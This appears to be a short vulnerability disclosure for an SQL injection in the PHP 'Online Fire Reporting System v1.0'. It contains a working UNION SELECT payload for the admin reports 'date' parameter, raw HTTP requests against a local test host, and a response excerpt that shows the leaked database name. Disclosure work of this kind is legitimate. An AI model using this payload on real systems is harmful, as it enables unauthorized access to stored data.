debug601 Update SQLi-1.md History

1 contributor

25 lines (18 sloc) | 1.08 KB

Online Fire Reporting System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15346/online-fire-reporting-system-phpoop-free-source-code.html

Vulnerability File: /ofrs/admin/?page=reports&date=

Vulnerability location: /ofrs/admin/?page=reports&date=, date

[+] Payload: /ofrs/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,database(),5,6,7,8,9,10--+ // Leak place ---> date

```
GET /ofrs/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,database()
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
GET
/ofrs/admin/?page=reports&date=2022-05-27%27%20union%20select%201,2,3,
database(),5,6,7,8,9,10--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
                                    <td class="px-1 py-1 a
text-center">2</td>
                                    <td class="px-1 py-1
align-middle">2022052700002</td>
                                    <td class="px-1 py-1 a
                                        <div line-height='
                                            <div class="f
                                            <div class="f
                                        </div>
                                    </td>
                                    <td class="px-1 py-1 a
                                    <td class="px-1 py-1 a
                                </tr>

                                    <td class="px-1 py-1 a
text-center">3</td>
                                    <td class="px-1 py-1 a
                                    <td class="px-1 py-1 a
                                        <div line-height='
                                            <div
class="font-weight-bold">ofrs_db</div>
                                            <div class="f
                                        </div>
                                    </td>
                                    <td class="px-1 py-1 a
                                    <td class="px-1 py-1 a
```